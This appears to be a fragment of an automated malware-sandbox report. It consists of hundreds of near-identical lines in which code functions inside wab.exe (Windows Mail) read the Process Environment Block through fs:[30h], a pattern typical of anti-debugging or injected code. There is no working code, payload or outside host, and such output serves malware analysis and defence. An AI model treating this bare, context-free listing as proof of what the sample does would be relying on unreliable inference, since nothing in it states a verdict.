Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364B2C0 mov eax, dword ptr fs:[00000030h]	4_2_0364B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364B2C0 mov eax, dword ptr fs:[00000030h]	4_2_0364B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364B2C0 mov eax, dword ptr fs:[00000030h]	4_2_0364B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036292C5 mov eax, dword ptr fs:[00000030h]	4_2_036292C5
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036292C5 mov eax, dword ptr fs:[00000030h]	4_2_036292C5
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361B2D3 mov eax, dword ptr fs:[00000030h]	4_2_0361B2D3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361B2D3 mov eax, dword ptr fs:[00000030h]	4_2_0361B2D3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361B2D3 mov eax, dword ptr fs:[00000030h]	4_2_0361B2D3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364F2D0 mov eax, dword ptr fs:[00000030h]	4_2_0364F2D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364F2D0 mov eax, dword ptr fs:[00000030h]	4_2_0364F2D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036302A0 mov eax, dword ptr fs:[00000030h]	4_2_036302A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036302A0 mov eax, dword ptr fs:[00000030h]	4_2_036302A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036352A0 mov eax, dword ptr fs:[00000030h]	4_2_036352A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036352A0 mov eax, dword ptr fs:[00000030h]	4_2_036352A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036352A0 mov eax, dword ptr fs:[00000030h]	4_2_036352A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036352A0 mov eax, dword ptr fs:[00000030h]	4_2_036352A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E92A6 mov eax, dword ptr fs:[00000030h]	4_2_036E92A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E92A6 mov eax, dword ptr fs:[00000030h]	4_2_036E92A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E92A6 mov eax, dword ptr fs:[00000030h]	4_2_036E92A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E92A6 mov eax, dword ptr fs:[00000030h]	4_2_036E92A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B72A0 mov eax, dword ptr fs:[00000030h]	4_2_036B72A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B72A0 mov eax, dword ptr fs:[00000030h]	4_2_036B72A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B62A0 mov eax, dword ptr fs:[00000030h]	4_2_036B62A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B62A0 mov ecx, dword ptr fs:[00000030h]	4_2_036B62A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B62A0 mov eax, dword ptr fs:[00000030h]	4_2_036B62A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B62A0 mov eax, dword ptr fs:[00000030h]	4_2_036B62A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B62A0 mov eax, dword ptr fs:[00000030h]	4_2_036B62A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B62A0 mov eax, dword ptr fs:[00000030h]	4_2_036B62A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A92BC mov eax, dword ptr fs:[00000030h]	4_2_036A92BC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A92BC mov eax, dword ptr fs:[00000030h]	4_2_036A92BC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A92BC mov ecx, dword ptr fs:[00000030h]	4_2_036A92BC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A92BC mov ecx, dword ptr fs:[00000030h]	4_2_036A92BC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365E284 mov eax, dword ptr fs:[00000030h]	4_2_0365E284
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365E284 mov eax, dword ptr fs:[00000030h]	4_2_0365E284
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A0283 mov eax, dword ptr fs:[00000030h]	4_2_036A0283
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A0283 mov eax, dword ptr fs:[00000030h]	4_2_036A0283
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A0283 mov eax, dword ptr fs:[00000030h]	4_2_036A0283
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036F5283 mov eax, dword ptr fs:[00000030h]	4_2_036F5283
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365329E mov eax, dword ptr fs:[00000030h]	4_2_0365329E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365329E mov eax, dword ptr fs:[00000030h]	4_2_0365329E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B9179 mov eax, dword ptr fs:[00000030h]	4_2_036B9179
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172 mov eax, dword ptr fs:[00000030h]	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172 mov eax, dword ptr fs:[00000030h]	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172 mov eax, dword ptr fs:[00000030h]	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172 mov eax, dword ptr fs:[00000030h]	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172 mov eax, dword ptr fs:[00000030h]	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172 mov eax, dword ptr fs:[00000030h]	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172 mov eax, dword ptr fs:[00000030h]	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172 mov eax, dword ptr fs:[00000030h]	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172 mov eax, dword ptr fs:[00000030h]	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172 mov eax, dword ptr fs:[00000030h]	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172 mov eax, dword ptr fs:[00000030h]	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172 mov eax, dword ptr fs:[00000030h]	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172 mov eax, dword ptr fs:[00000030h]	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172 mov eax, dword ptr fs:[00000030h]	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172 mov eax, dword ptr fs:[00000030h]	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172 mov eax, dword ptr fs:[00000030h]	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172 mov eax, dword ptr fs:[00000030h]	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172 mov eax, dword ptr fs:[00000030h]	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172 mov eax, dword ptr fs:[00000030h]	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172 mov eax, dword ptr fs:[00000030h]	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361F172 mov eax, dword ptr fs:[00000030h]	4_2_0361F172
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03619148 mov eax, dword ptr fs:[00000030h]	4_2_03619148
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03619148 mov eax, dword ptr fs:[00000030h]	4_2_03619148
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03619148 mov eax, dword ptr fs:[00000030h]	4_2_03619148
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03619148 mov eax, dword ptr fs:[00000030h]	4_2_03619148
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B4144 mov eax, dword ptr fs:[00000030h]	4_2_036B4144
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B4144 mov eax, dword ptr fs:[00000030h]	4_2_036B4144
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B4144 mov ecx, dword ptr fs:[00000030h]	4_2_036B4144
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B4144 mov eax, dword ptr fs:[00000030h]	4_2_036B4144
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B4144 mov eax, dword ptr fs:[00000030h]	4_2_036B4144
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03627152 mov eax, dword ptr fs:[00000030h]	4_2_03627152
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B8158 mov eax, dword ptr fs:[00000030h]	4_2_036B8158
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03626154 mov eax, dword ptr fs:[00000030h]	4_2_03626154
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03626154 mov eax, dword ptr fs:[00000030h]	4_2_03626154
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361C156 mov eax, dword ptr fs:[00000030h]	4_2_0361C156
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036F5152 mov eax, dword ptr fs:[00000030h]	4_2_036F5152
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03650124 mov eax, dword ptr fs:[00000030h]	4_2_03650124
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03621131 mov eax, dword ptr fs:[00000030h]	4_2_03621131
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03621131 mov eax, dword ptr fs:[00000030h]	4_2_03621131
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361B136 mov eax, dword ptr fs:[00000030h]	4_2_0361B136
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361B136 mov eax, dword ptr fs:[00000030h]	4_2_0361B136
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361B136 mov eax, dword ptr fs:[00000030h]	4_2_0361B136
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361B136 mov eax, dword ptr fs:[00000030h]	4_2_0361B136
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036CA118 mov ecx, dword ptr fs:[00000030h]	4_2_036CA118
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036CA118 mov eax, dword ptr fs:[00000030h]	4_2_036CA118
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036CA118 mov eax, dword ptr fs:[00000030h]	4_2_036CA118
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036CA118 mov eax, dword ptr fs:[00000030h]	4_2_036CA118
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E0115 mov eax, dword ptr fs:[00000030h]	4_2_036E0115
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036F61E5 mov eax, dword ptr fs:[00000030h]	4_2_036F61E5
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036451EF mov eax, dword ptr fs:[00000030h]	4_2_036451EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036451EF mov eax, dword ptr fs:[00000030h]	4_2_036451EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036451EF mov eax, dword ptr fs:[00000030h]	4_2_036451EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036451EF mov eax, dword ptr fs:[00000030h]	4_2_036451EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036451EF mov eax, dword ptr fs:[00000030h]	4_2_036451EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036451EF mov eax, dword ptr fs:[00000030h]	4_2_036451EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036451EF mov eax, dword ptr fs:[00000030h]	4_2_036451EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036451EF mov eax, dword ptr fs:[00000030h]	4_2_036451EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036451EF mov eax, dword ptr fs:[00000030h]	4_2_036451EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036451EF mov eax, dword ptr fs:[00000030h]	4_2_036451EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036451EF mov eax, dword ptr fs:[00000030h]	4_2_036451EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036451EF mov eax, dword ptr fs:[00000030h]	4_2_036451EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036451EF mov eax, dword ptr fs:[00000030h]	4_2_036451EF
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036251ED mov eax, dword ptr fs:[00000030h]	4_2_036251ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036C71F9 mov esi, dword ptr fs:[00000030h]	4_2_036C71F9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036501F8 mov eax, dword ptr fs:[00000030h]	4_2_036501F8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036F51CB mov eax, dword ptr fs:[00000030h]	4_2_036F51CB
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E61C3 mov eax, dword ptr fs:[00000030h]	4_2_036E61C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E61C3 mov eax, dword ptr fs:[00000030h]	4_2_036E61C3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365D1D0 mov eax, dword ptr fs:[00000030h]	4_2_0365D1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365D1D0 mov ecx, dword ptr fs:[00000030h]	4_2_0365D1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0369E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0369E1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0369E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0369E1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0369E1D0 mov ecx, dword ptr fs:[00000030h]	4_2_0369E1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0369E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0369E1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0369E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0369E1D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D11A4 mov eax, dword ptr fs:[00000030h]	4_2_036D11A4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D11A4 mov eax, dword ptr fs:[00000030h]	4_2_036D11A4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D11A4 mov eax, dword ptr fs:[00000030h]	4_2_036D11A4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036D11A4 mov eax, dword ptr fs:[00000030h]	4_2_036D11A4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363B1B0 mov eax, dword ptr fs:[00000030h]	4_2_0363B1B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03660185 mov eax, dword ptr fs:[00000030h]	4_2_03660185
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036DC188 mov eax, dword ptr fs:[00000030h]	4_2_036DC188
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036DC188 mov eax, dword ptr fs:[00000030h]	4_2_036DC188
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A019F mov eax, dword ptr fs:[00000030h]	4_2_036A019F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A019F mov eax, dword ptr fs:[00000030h]	4_2_036A019F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A019F mov eax, dword ptr fs:[00000030h]	4_2_036A019F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A019F mov eax, dword ptr fs:[00000030h]	4_2_036A019F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361A197 mov eax, dword ptr fs:[00000030h]	4_2_0361A197
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361A197 mov eax, dword ptr fs:[00000030h]	4_2_0361A197
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361A197 mov eax, dword ptr fs:[00000030h]	4_2_0361A197
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03677190 mov eax, dword ptr fs:[00000030h]	4_2_03677190
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A106E mov eax, dword ptr fs:[00000030h]	4_2_036A106E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036F5060 mov eax, dword ptr fs:[00000030h]	4_2_036F5060
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03631070 mov eax, dword ptr fs:[00000030h]	4_2_03631070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03631070 mov ecx, dword ptr fs:[00000030h]	4_2_03631070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03631070 mov eax, dword ptr fs:[00000030h]	4_2_03631070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03631070 mov eax, dword ptr fs:[00000030h]	4_2_03631070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03631070 mov eax, dword ptr fs:[00000030h]	4_2_03631070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03631070 mov eax, dword ptr fs:[00000030h]	4_2_03631070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03631070 mov eax, dword ptr fs:[00000030h]	4_2_03631070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03631070 mov eax, dword ptr fs:[00000030h]	4_2_03631070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03631070 mov eax, dword ptr fs:[00000030h]	4_2_03631070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03631070 mov eax, dword ptr fs:[00000030h]	4_2_03631070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03631070 mov eax, dword ptr fs:[00000030h]	4_2_03631070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03631070 mov eax, dword ptr fs:[00000030h]	4_2_03631070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03631070 mov eax, dword ptr fs:[00000030h]	4_2_03631070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364C073 mov eax, dword ptr fs:[00000030h]	4_2_0364C073
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0369D070 mov ecx, dword ptr fs:[00000030h]	4_2_0369D070
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03622050 mov eax, dword ptr fs:[00000030h]	4_2_03622050
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036C705E mov ebx, dword ptr fs:[00000030h]	4_2_036C705E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036C705E mov eax, dword ptr fs:[00000030h]	4_2_036C705E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364B052 mov eax, dword ptr fs:[00000030h]	4_2_0364B052
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A6050 mov eax, dword ptr fs:[00000030h]	4_2_036A6050
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361A020 mov eax, dword ptr fs:[00000030h]	4_2_0361A020
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361C020 mov eax, dword ptr fs:[00000030h]	4_2_0361C020
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E903E mov eax, dword ptr fs:[00000030h]	4_2_036E903E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E903E mov eax, dword ptr fs:[00000030h]	4_2_036E903E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E903E mov eax, dword ptr fs:[00000030h]	4_2_036E903E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E903E mov eax, dword ptr fs:[00000030h]	4_2_036E903E
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A4000 mov ecx, dword ptr fs:[00000030h]	4_2_036A4000
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363E016 mov eax, dword ptr fs:[00000030h]	4_2_0363E016
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363E016 mov eax, dword ptr fs:[00000030h]	4_2_0363E016
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363E016 mov eax, dword ptr fs:[00000030h]	4_2_0363E016
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0363E016 mov eax, dword ptr fs:[00000030h]	4_2_0363E016
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036450E4 mov eax, dword ptr fs:[00000030h]	4_2_036450E4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036450E4 mov ecx, dword ptr fs:[00000030h]	4_2_036450E4
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361A0E3 mov ecx, dword ptr fs:[00000030h]	4_2_0361A0E3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A60E0 mov eax, dword ptr fs:[00000030h]	4_2_036A60E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036280E9 mov eax, dword ptr fs:[00000030h]	4_2_036280E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361C0F0 mov eax, dword ptr fs:[00000030h]	4_2_0361C0F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036620F0 mov ecx, dword ptr fs:[00000030h]	4_2_036620F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036370C0 mov eax, dword ptr fs:[00000030h]	4_2_036370C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036370C0 mov ecx, dword ptr fs:[00000030h]	4_2_036370C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036370C0 mov ecx, dword ptr fs:[00000030h]	4_2_036370C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036370C0 mov eax, dword ptr fs:[00000030h]	4_2_036370C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036370C0 mov ecx, dword ptr fs:[00000030h]	4_2_036370C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036370C0 mov ecx, dword ptr fs:[00000030h]	4_2_036370C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036370C0 mov eax, dword ptr fs:[00000030h]	4_2_036370C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036370C0 mov eax, dword ptr fs:[00000030h]	4_2_036370C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036370C0 mov eax, dword ptr fs:[00000030h]	4_2_036370C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036370C0 mov eax, dword ptr fs:[00000030h]	4_2_036370C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036370C0 mov eax, dword ptr fs:[00000030h]	4_2_036370C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036370C0 mov eax, dword ptr fs:[00000030h]	4_2_036370C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036370C0 mov eax, dword ptr fs:[00000030h]	4_2_036370C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036370C0 mov eax, dword ptr fs:[00000030h]	4_2_036370C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036370C0 mov eax, dword ptr fs:[00000030h]	4_2_036370C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036370C0 mov eax, dword ptr fs:[00000030h]	4_2_036370C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036370C0 mov eax, dword ptr fs:[00000030h]	4_2_036370C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036370C0 mov eax, dword ptr fs:[00000030h]	4_2_036370C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0369D0C0 mov eax, dword ptr fs:[00000030h]	4_2_0369D0C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0369D0C0 mov eax, dword ptr fs:[00000030h]	4_2_0369D0C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036A20DE mov eax, dword ptr fs:[00000030h]	4_2_036A20DE
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036F50D9 mov eax, dword ptr fs:[00000030h]	4_2_036F50D9
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036490DB mov eax, dword ptr fs:[00000030h]	4_2_036490DB
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036B80A8 mov eax, dword ptr fs:[00000030h]	4_2_036B80A8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E60B8 mov eax, dword ptr fs:[00000030h]	4_2_036E60B8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_036E60B8 mov ecx, dword ptr fs:[00000030h]	4_2_036E60B8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0362208A mov eax, dword ptr fs:[00000030h]	4_2_0362208A
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361D08D mov eax, dword ptr fs:[00000030h]	4_2_0361D08D
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03625096 mov eax, dword ptr fs:[00000030h]	4_2_03625096
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364D090 mov eax, dword ptr fs:[00000030h]	4_2_0364D090
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0364D090 mov eax, dword ptr fs:[00000030h]	4_2_0364D090
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0365909C mov eax, dword ptr fs:[00000030h]	4_2_0365909C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361B765 mov eax, dword ptr fs:[00000030h]	4_2_0361B765
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361B765 mov eax, dword ptr fs:[00000030h]	4_2_0361B765
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361B765 mov eax, dword ptr fs:[00000030h]	4_2_0361B765
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_0361B765 mov eax, dword ptr fs:[00000030h]	4_2_0361B765
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03628770 mov eax, dword ptr fs:[00000030h]	4_2_03628770
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 4_2_03630770 mov eax, dword ptr fs:[00000030h]	4_2_03630770
